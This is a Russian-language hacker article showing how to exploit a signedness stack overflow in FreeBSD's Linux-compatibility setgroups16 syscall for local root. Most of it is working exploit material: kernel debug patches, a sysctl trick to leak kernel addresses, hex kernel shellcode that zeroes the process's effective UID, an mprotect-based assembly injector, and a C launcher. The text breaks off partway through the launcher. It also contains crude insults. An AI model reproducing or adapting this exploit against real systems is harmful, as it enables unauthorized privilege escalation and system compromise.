~ FreeBSD kernel b0f exploiting ~
c0ntents:
0x1 intr0
0x2 bug description
0x3 concept
0x4 counting kernel-land addrz
0x5 struct thread's problem
0x6 clipcode
0x7 exploiting
0x8 other fbsd versions?
[0x1] intr0 ===========================================================
В этой статье мы расскажем о том, как эксплойтнуть b0f-багу в ядре
freebsd. Надеемся многим эта дока окажется полезной, к тому же технику,
описанную здесь, можно будет применять в различных других переполнениях
самого разнообразного вареза. На самом деле дыра не особо полезна, т.к.
по дефолту поддержка линуховых файлов отключена, да и во всех последних
ядрах её уже пофиксили (advisory вышла примерно в июле). Поэтому мы
решили написать про то как её эксплойтить. Итак, приступим...
[0x2] bug description =================================================
Об этой баге сообщалось в fd каким-то пидором, но никаких упоминаний
больше не последовало. И вот мы решили посмотреть что же там такое. В
итоге родился сплоит, а спустя некоторое время - и статья.
Суть баги: в freebsd существует поддержка выполнения линуховых файлов,
дык вот, чувак из fd в своём постинге заявил что этот модуль (linux.ko,
его исходники лежат в sys/compat/linux/*) имеет дырки, при помощи
которых хакир может читать и перезаписывать куски памяти в ядре. Ни
слова о том, в каких функциях существует данный глюк, сказанно не было,
поэтому мы около 20 минут потратили на поиск. Уязвимы оказались вызовы
linux_setgroups() из linux_misc.c и linux_setgroups16() из
linux_uid16.c. В данной статье мы рассмотрим самый сложный вариант
эксплойтинга - к последней баге. Вот её код:
int
linux_setgroups16(struct thread *td, struct linux_setgroups16_args *args)
{
struct ucred *newcred, *oldcred;
l_gid16_t linux_gidset[NGROUPS]; [1]
gid_t *bsd_gidset;
int ngrp, error;
struct proc *p;
...
ngrp = args->gidsetsize; [2]
if (ngrp >= NGROUPS) [3]
return (EINVAL);
error = copyin((caddr_t)args->gidset, linux_gidset, [4]
ngrp * sizeof(l_gid16_t));
if (error) [5]
return (error);
Смотрим, что же у нас тут:
1. NGROUPS == 16, следовательно тут буфер равен 2*16 = 32 байта. В
linux_setgroups() он в 2 раза больше, а это не интересно (позднее будет
сказанно почему).
2. В ngrp ака обычный int кладётся значение 1-го аргумента функции.
3. Далее следует проверка на то, чтобы ngrp был меньше максимального
числа груп (16). Если мы передадим в args->gidsetsize отрицательное
32-х битное число, то проверка пройдёт успешно,и мы сможем перезаписать
буфер linux_gidset и далее часть стека. Т.к. под знак отводится 1 бит,
то минимальным отрицательным числом будет 0x80000000.
4. Происходит копирование в буфер linux_gidset из userland-адреса,
который мы передаём как 2-й аргумент. Обратите внимание на размер
копируемой инфы: ngrp * sizeof(l_gid16_t). Вот небольшой пример:
#include <stdio.h>
int main()
{
int i;
i = 0x80000001 * 2;
printf("0x%x\n", i);
return 0;
}
$ gcc -o int int.c
$ ./int
0x2
$ echo thats it
И что мы получаем?? При умножении на 2 данного числа, оно выходит за
рамки предельного вместимого значения 32-х битного числа, и т.к. 2*8=16
в итоге получается такая байда: 0x80000001 * 2 = 0x100000002. Вот это
нам и надо!! ^^^^^^^^
Мы можем перезаписать ровно столько байт (разумеется чётное количество)
сколько нам потребуется.
5. если при копировании произошла ошибка, то происходит возвращение из
данной функции обратно в syscall() (sys/i386/i386/trap.c).
[0x3] concept =========================================================
Прежде всего, нам нужно изучить стек. Для этого мы пропатчим исходники
модуля linux.ko и отлаживать будем именно на нём. Вот что получилось:
int
linux_setgroups16(struct thread *td, struct linux_setgroups16_args *args)
{
struct ucred *newcred, *oldcred;
l_gid16_t linux_gidset[NGROUPS];
gid_t *bsd_gidset;
int ngrp, error;
struct proc *p;
printf("stack pointer: 0x%x\n", &linux_gidset);
printf("Stack dump: %x %x %x %x %x %x\nlinux_gidset: %x %x %x %x %x %x %x %x\n"
"%x %x %x %x %x %x\n");
ngrp = args->gidsetsize;
if (ngrp >= NGROUPS)
return (EINVAL);
printf("[+] do evil copy\n");
error = copyin((caddr_t)args->gidset, linux_gidset,
ngrp * sizeof(l_gid16_t));
/* look @ stack after overwrite */
printf("Stack dump: %x %x %x %x %x %x\nlinux_gidset: %x %x %x %x %x %x %x %x\n"
"%x %x %x %x %x %x\n");
if (error){
printf("[+] h0oly sh1t, it works!\n");
return (error);
}
...
Теперь потестим:
# pwd
/usr/src/sys/compat/linux
# cd ../../modules/linux
# make
bla-bla-bla
# kldload ./linux.ko
# cd ../../compat/linux
Для тестинга понадобится простая прога, вызывающая sys_setgroups16:
# cat old_p0c.s
.globl _start
_start:
push $81
popl %eax
movl $dat, %ecx
movl $0x80000010, %ebx # overwrite only 32 bytes
int $128
xorl %eax, %eax
incl %eax
int $128
dat:
.ascii "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" # 32 bytes buffer
.long 0xdefaced
# as -o p.o old_p0c.s; ld -o old_p0c p.o
# brandelf -t Linux ./old_p0c
# ./old_p0c
/* this is kernel's printf() on /dev/vtty1 */
Stack dump: c02f7740 c05038a0 0 c04b6e1d 237 c17d0460
linux_gidset: c17d0460 c198e0a0 c1ab91c8 c8c99ce0 c0306b52 c17d0460 c8c99ce0 c02d1890
c17d0460 c1ab91c8 0 c8c99d40 c045ce9e c17d0460
[+] do evil copy
Stack dump: c02f7740 c05038a0 0 c04b6e1d 273 c17d0460
linux_gidset: 61616161 61616161 61616161 61616161 61616161 61616161 61616161 61616161
c17d0460 c1ab91c8 0 c8c99d40 c045ce9e c17d0460
#
Итак, мы перезаписали linux_gidset(). После него идут:
struct thread *td == 0xc17d0460
struct proc *p == 0xc1ab91c8
0 - separator
saved %ebp == 0xc8c99d40
saved %eip == 0xc045ce9e
struct thread *td == 0xc17d0460
Эти адреса можно узнать например так:
printf("thread struct addr: 0x%x\n", td);
Но это мелочи, поэтому мы не акцентируем на этом внимание. Далее, было
установленно что при перезаписи любого из адресов до eip порисходит
падение ядра, поэтому появилась такая идея:
- высчитать адреса структур thread, proc и %ebp в памяти ядра.
- при перезаписи заполнить linux_gidset нужным нам clipcode'ом, далее до
eip вставляем правильыне занчения.
- в eip указываем адрес linux_gidset() где лежит наш код, он должен дать
нам рута и вернуться обратно как будто ничего не было.
[0x4] counting kernel-land addrz ======================================
Что же нам нужно? Сперва узнаем как из userlandа вытащить хоть какую-
нибудь инфу о процессе, которая может нам пригодиться. Как вам, должно
быть, известно, непривилигированные процессы получают инфу о других
активных задачах через sysctl(). Интерфейс там весьма прост, вот
пример:
int main()
{
int i, sz, pid, mib[4];
struct kinfo_proc p;
mib[0] = 1; // CT_KERN
mib[1] = 14; // KERN_PROC
mib[2] = 1; // KERN_PROC_PID
pid = fork();
if (pid == 0){ /* child */
sleep(1);
return 1;
}
mib[3] = pid; // PROC_PID
sz = sizeof(struct kinfo_proc);
if (sysctl(&mib, 4, &p, &sz, 0, 0) < 0){
perror("sysctl");
return -1;
}
return 1;
}
Эта прога получает стркутуру kinfo_proc своего дочернего процесса,
посмотрим что же там такое (sys/user.h):
struct kinfo_proc {
int ki_structsize; /* size of this structure */
int ki_layout; /* reserved: layout identifier */
struct pargs *ki_args; /* address of command arguments */
struct proc *ki_paddr; /* address of proc */
struct user *ki_addr; /* kernel virtual addr of u-area */
struct vnode *ki_tracep; /* pointer to trace file */
struct vnode *ki_textvp; /* pointer to executable file */
struct filedesc *ki_fd; /* pointer to open file info */
struct vmspace *ki_vmspace; /* pointer to kernel vmspace struct */
void *ki_wchan; /* sleep address */
pid_t ki_pid; /* Process identifier */
pid_t ki_ppid; /* parent process id */
pid_t ki_pgid; /* process group id */
pid_t ki_tpgid; /* tty process group id */
pid_t ki_sid; /* Process session ID */
pid_t ki_tsid; /* Terminal session ID */
short ki_jobc; /* job control counter */
udev_t ki_tdev; /* controlling tty dev */
sigset_t ki_siglist; /* Signals arrived but not delivered */
sigset_t ki_sigmask; /* Current signal mask */
sigset_t ki_sigignore; /* Signals being ignored */
sigset_t ki_sigcatch; /* Signals being caught by user */
uid_t ki_uid; /* effective user id */
uid_t ki_ruid; /* Real user id */
uid_t ki_svuid; /* Saved effective user id */
gid_t ki_rgid; /* Real group id */
gid_t ki_svgid; /* Saved effective group id */
short ki_ngroups; /* number of groups */
gid_t ki_groups[KI_NGROUPS]; /* groups */
vm_size_t ki_size; /* virtual size */
segsz_t ki_rssize; /* current resident set size in pages */
segsz_t ki_swrss; /* resident set size before last swap */
segsz_t ki_tsize; /* text size (pages) XXX */
segsz_t ki_dsize; /* data size (pages) XXX */
segsz_t ki_ssize; /* stack size (pages) */
u_short ki_xstat; /* Exit status for wait & stop signal */
u_short ki_acflag; /* Accounting flags */
fixpt_t ki_pctcpu; /* %cpu for process during ki_swtime */
u_int ki_estcpu; /* Time averaged value of ki_cpticks */
u_int ki_slptime; /* Time since last blocked */
u_int ki_swtime; /* Time swapped in or out */
u_int64_t ki_runtime; /* Real time in microsec */
struct timeval ki_start; /* starting time */
struct timeval ki_childtime; /* time used by process children */
long ki_flag; /* P_* flags */
long ki_kiflag; /* KI_* flags (below) */
int ki_traceflag; /* Kernel trace points */
char ki_stat; /* S* process status */
char ki_nice; /* Process "nice" value */
char ki_lock; /* Process lock (prevent swap) count */
char ki_rqindex; /* Run queue index */
u_char ki_oncpu; /* Which cpu we are on */
u_char ki_lastcpu; /* Last cpu we were on */
char ki_ocomm[OCOMMLEN+1]; /* command name */
char ki_wmesg[WMESGLEN+1]; /* wchan message */
char ki_login[LOGNAMELEN+1]; /* setlogin name */
char ki_lockname[LOCKNAMELEN+1]; /* lock name */
char ki_comm[COMMLEN+1]; /* command name */
char ki_sparestrings[85]; /* spare string space */
struct rusage ki_rusage; /* process rusage statistics */
long ki_sflag; /* PS_* flags */
struct priority ki_pri; /* process priority */
long ki_tdflags; /* XXXKSE kthread flag */
struct pcb *ki_pcb; /* kernel virtual addr of pcb */
void *ki_kstack; /* kernel virtual addr of stack */
long ki_spare[22]; /* spare constants */
};
Стоп! ki_paddr, ki_kstack - похоже это как раз то, что нужно. Посмотрим:
/* tst_proc.c */
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/sysctl.h>
#include <sys/user.h>
int main()
{
int i, sz, pid, mib[4];
struct kinfo_proc p;
mib[0] = 1; // CT_KERN
mib[1] = 14; // KERN_PROC
mib[2] = 1; // KERN_PROC_PID
pid = fork();
if (pid == 0){ /* child */
sleep(1);
execl("./old_p0c", "old_p0c", 0);
return 1;
}
mib[3] = pid;
sz = sizeof(struct kinfo_proc);
if (sysctl(&mib, 4, &p, &sz, 0, 0) < 0){
perror("sysctl");
return -1;
}
sz = p.ki_paddr;
printf("ki_vaddr: 0x%x\n", sz);
sz = p.ki_kstack;
printf("kstack: 0x%x\n", sz);
return 1;
}
И ещё небольшой патч для linux_uid16.c:
int
linux_setgroups16(struct thread *td, struct linux_setgroups16_args *args)
{
struct ucred *newcred, *oldcred;
l_gid16_t linux_gidset[NGROUPS];
gid_t *bsd_gidset;
int ngrp, error;
struct proc *p;
printf("stack pointer: 0x%x\n", &linux_gidset);
ngrp = args->gidsetsize;
...
# gcc -o tst_proc tst_proc.c
# ./tst_proc
ki_vaddr: 0xc1ab9000
kstack: 0xc8c9b000
#
stack pointer: 0xc8c9ccb4
Stack dump: c8c9ccb4 c19a4800 c19a4802 7 0 c17d0540
linux_gidset: c1ab9000 c8c9cce0 c0306b52 c17d0540 c8c9cce0 c02d1890 c17d0540 c198e140
c17d0460 c1ab9000 0 c8c9cd40 c045ce9e c17d0460
^^^ proc addr ^^^^ saved %ebp
#
Так, что мы имеем: сохранённый ebp = c8c9cd40, а в структуре kinfo_proc
указатель на kernel-land стек равен 0xc8c9b000, тоесть разница: 0x1d40.
Погоняв tst_proc несоколько раз мы убедились, что данный способ
вычисления занчения ebp работает отлично.
Стоит отметить, что адрес структуры proc для данного процесса равен
значению ki_paddr из структуры kinfo_proc, так что его, к счастью, нам
не придётся просчитывать отдельно.
Последним шагом будет вычисление адрecа linux_gidset, где будет лежать
наш clipcode, чтобы перезаписать им eip. Благодаря патчу linux.ko, мы
можем увидеть его:
printf("stack pointer: 0x%x\n", &linux_gidset);
В данном случае он равен 0xc8c9ccb4. Очень близко к старому ebp, не так
ли? Попробуем найти разницу между saved_ebp и stack_pointer и с помощью
неё находить адрес linux_gidset'a. Вот какой получается код:
sz = p.ki_paddr;
printf("ki_vaddr: 0x%x\n", sz);
sz = p.ki_kstack;
sz += 0x1d40;
printf("kstack: 0x%x\n", sz);
i = sz;
i -= 0x8c;
printf("stack pointer: 0x%x\n", i);
Потестив, мы вновь убедились в том, что с таким вот образом можем найти
адрес linux_gidset'а в стеке. Теперь инфы вполне достаточно чтобы можно
было бы прыгнуть в наш clipcode, так что пора бы подумать о его
написании.
[0x5] struct thread's problem =========================================
Кстати, мы совсем забыли про адрес структуры thread для данного
процесса. К сожалению, мы не нашли способов его вычисления исходя из
доступной простому юзеру информации. Отсюда возникают 2 проблемы:
- наш clipcode после того как обнулит effective uid, должен вернуть на
место адрес структуры thread и прыгнуть обратно. Иначе ядро упадёт с
PAGE FAULT.
Посмотрим на старые дампы linux.ko:
Stack dump: c02f7740 c05038a0 0 c04b6e1d 273 c17d0460
linux_gidset: c1ab91c8 c8c99ce0 c0306b52 c17d0460 c8c99ce0 c02d1890 c17d0460 c198e0a0
c17d0460 c1ab91c8 0 c8c99d40 c045ce9e c17d0460
^^^^^ ======= struct thread *td ====== ^^^^^
Как нетрудно заметить, нужный нам адрес лежит ещё и после eip, откуда
нам не составит труда его узнать с помощью clipcode'a.
- и ещё одна проблема: т.к. до прыжка в clipcode нам приходится затереть
значение td, ядро может рухнуть раньше чем наш clipcode скажет marlboro
и восстановит поломаный стек:
...
error = copyin((caddr_t)args->gidset, linux_gidset,
ngrp * sizeof(l_gid16_t));
if (error) [1]
return (error);
newcred = crget();
p = td->td_proc; [2]
PROC_LOCK(p);
oldcred = p->p_ucred;
...
Т.к. мы затёрли значение указателя td, при присвоении адреса [2] может
произойти хуйня и мы словим PAGE_FAULT. Чтобы этого не произошло, мы
воспользуемся техникой совмещения страниц памяти и mprotect (об этом
писали в phrack-57-0x06).
Идея состоит в том, чтобы разместить 2 страницы памяти последовательно
и выствить на первую режим доступа PROT_READ | PROT_WRITE, а на вторую
только PROT_WRITE:
[ page1 clipcode][page2 some shit]
modez: rw- -w-
Нужный нам кусок памяти находится в самом конце первой страницы и
упирается во вторую. Когда copyin() начнёт копировать данную область,
он доберётся до конца первой страницы и когда увидит что режим доступа
для следующей страницы - PROT_WRITE, тоесть читать её нельзя, он вернёт
ошибку и проверка [1] сработает как надо, мы попадём в clipcode без
галимых падений кернела.
[0x6] clipcode ========================================================
Итак, нам нужно написать илитный clipcode, который бы обнулял текущий
euid, возвращал thread struct's addr на место и прыгал обратно в
syscall(). Более того, под это нам отводится всего 32 байта (теперь
надеюсь понятно почему эксплойтить linux_setgroups16() сложнее, чем
простую linux_setgroups()??).
Обнулить свой euid не так сложно как кажется: мы можем узнать адрес
структуры proc из kinfo_proc->ki_paddr. Далее, из неё мы вытаскиваем
указатель на структуру ucred (sys/proc.h):
struct proc {
LIST_ENTRY(proc) p_list; /* (d) List of all processes. */
TAILQ_HEAD(, ksegrp) p_ksegrps; /* (kg_ksegrp) All KSEGs. */
TAILQ_HEAD(, thread) p_threads; /* (td_plist) Threads. (shortcut) */
TAILQ_HEAD(, thread) p_suspended; /* (td_runq) suspended threads */
struct ucred *p_ucred; /* (c) Process owner's identity. */
/* ^^^^ that's it!! */
...
Не так сложно вычислить смещение до указателя p_ucred, оно равно 0x20.
Отлично, теперь смотрим sys/ucred.h:
struct ucred {
u_int cr_ref; /* reference count */
#define cr_startcopy cr_uid
uid_t cr_uid; /* effective user id */
uid_t cr_ruid; /* real user id */
uid_t cr_svuid; /* saved user id */
short cr_ngroups; /* number of groups */
gid_t cr_groups[NGROUPS]; /* groups */
gid_t cr_rgid; /* real group id */
gid_t cr_svgid; /* saved user id */
struct uidinfo *cr_uidinfo; /* per euid resource consumption */
struct uidinfo *cr_ruidinfo; /* per ruid resource consumption */
struct prison *cr_prison; /* jail(4) */
#define cr_endcopy cr_label
struct label cr_label; /* MAC label */
struct mtx *cr_mtxp; /* protect refcount */
};
Тут вообще всё замечательно, смещение до cr_uid (aka euid) - 4 байта.
Вот теперь мы можем написать полноценный clipcode:
.globl _start
start:
cdq
movl $0xdefaced, %ebx # proc addr
movl 0x20(%ebx), %ecx # get ucred addr
movl %edx, 4(%ecx) # zer0uid
movl 52(%esp), %ecx # return thread struct's
movl %ecx, 32(%esp) # addr back
movl $0xdefaced, 48(%esp) # return old eip
movl %ebp, %esp # turn stack back
popl %ebp # return ebp
ret # jump da fuckup
На моей fbsd 5.0-release old_eip равен 0xc045ce9e, но при желании его
можно вытащить с помощью дизасма /boot/kernel/kernel из функции
syscall() [lo0k раздел 0x8].
Смотрим, что же в итоге получилось:
char evil[] = // x86 black magic hellc0de
"\x99\xbb\x0d\xef\xac\xed\x8b\x4b\x20\x89" // 10
"\x51\x04\x8b\x4c\x24\x34\x89\x4c\x24\x20" // 20
"\xc7\x44\x24\x30\x0d\xef\xac\xed\x89\xec" // 30
"\x5d\xc3"; // 32
Хехе, отлично!! Мы как раз уложились в 32 байта, it's REAL magic!!
[0x7] exploiting ======================================================
Ну теперь нам осталось только собрать всё воедино. В первую очередь
напишем линуховый бинарник, который и будет эксплойтить дыру:
# tUx_injector.s
.globl _start
_start:
# mprotect()
push $125
popl %eax
movl $dat, %ebx
push $0xff
popl %ecx
push $0x02 # PROT_WRITE
popl %edx
int $128
# open()
push $5
popl %eax
movl $file, %ebx
xorl %ecx, %ecx
int $128
cdq
decw %dx
cmpl %eax, %edx
je end
movl %eax, %ebx
# read()
movl $dat, %ecx
subl $52, %ecx # $dat - sizeof(clipcode)
movl $52, %edx
push $3
popl %eax
int $128
movl $dat, %ecx
subl $52, %ecx
push $81
popl %eax
movl $0x8000007e, %ebx
int $128
end:
xorl %eax, %eax
incl %eax
int $128
file:
.asciz "kern.l0g"
offs:
.long 0
.data
padding:
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
# do page padding, so dat now is the next page
# (cuz x86 page size == 4096 bytes)
dat:
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
.ascii "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
Тут вся фишка в том, что dat ложится как раз на начало второй страницы,
что есть очень удобно. Как подогнать такой размер?? Вручную, при этом
стоит проверять текущий адрес dat'a:
# objdump -d ./p0c | grep -a "dat>:"
0804a000 <dat>:
#
Хорошо, если $dat кратен 0x1000, значит это адрес начала следующей
страницы, тоесть с mprotect() всё будет ок. На самом деле оказалось,
что mprotect() будет работать и в близких к краям страницы адресам, что
скорее всего связанно с использованием roundup(). Но тем не менее, чтоб
багов не было (а ядру будет ОЧЕНЬ больно падать), рекомендуется юзать
точные гарницы страниц.
Ну и сам clipcode + адреса он читает из файла kern.l0g. Теперь напишем
прогу, которая высчитывет необходимые адреса, пишет их в kern.l0g и
запускает сплоит:
/* tUx_0wn_fbsd.c */
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/sysctl.h>
#include <sys/user.h>
/* magic file format:
offset description
+---------+---------------
0h evil code
20h thread addr
24h proc vaddr
28h null
2ch kstack addr
30h stack pointer
*/
char evil[] = // x86 black magic hellc0de
"\x99\xbb";
char evil2[] =
"\x8b\x4b\x20\x89\x51\x04\x8b\x4c\x24\x34"
"\x89\x4c\x24\x20\xc7\x44\x24\x30";
char evil3[] =
"\x89\xec\x5d\xc3";
int main(int argc, char *argv[])
{
int i, fd, sz, pid, m1b[4];
struct kinfo_proc p;
m1b[0] = 1; // CT_KERN
m1b[1] = 14; // KERN_PROC
m1b[2] = 1; // KERN_PROC_PID
pid = fork();
if (pid == 0){ /* child */
sleep(2);
execl("./p0c", "p0c", 0);
return 1;
}
/* build 1337 xpl code */
m1b[3] = pid;
sz = sizeof(struct kinfo_proc);
if (sysctl(&m1b, 4, &p, &sz, 0, 0) < 0){
perror("sysctl");
return -1;
}
fd = open("kern.l0g", O_CREAT | O_WRONLY);
if (fd < 0) return -1;
write(fd, &evil, 2);
sz = p.ki_paddr; // proc addr
printf("[+] ki_paddr: 0x%x\n", sz);
write(fd, &sz, 4); // first arg in hellc0de
write(fd, &evil2, 18);
sz = 0xc045ce9e;
write(fd, &sz, 4); // orig ret in hellc0de
write(fd, &evil3, 4);
sz = 0xdefaced; // dummy addr of thread
write(fd, &sz, 4);
sz = p.ki_paddr;
write(fd, &sz, 4); // proc vaddr
sz = 0;
write(fd, &sz, 4); // null separator
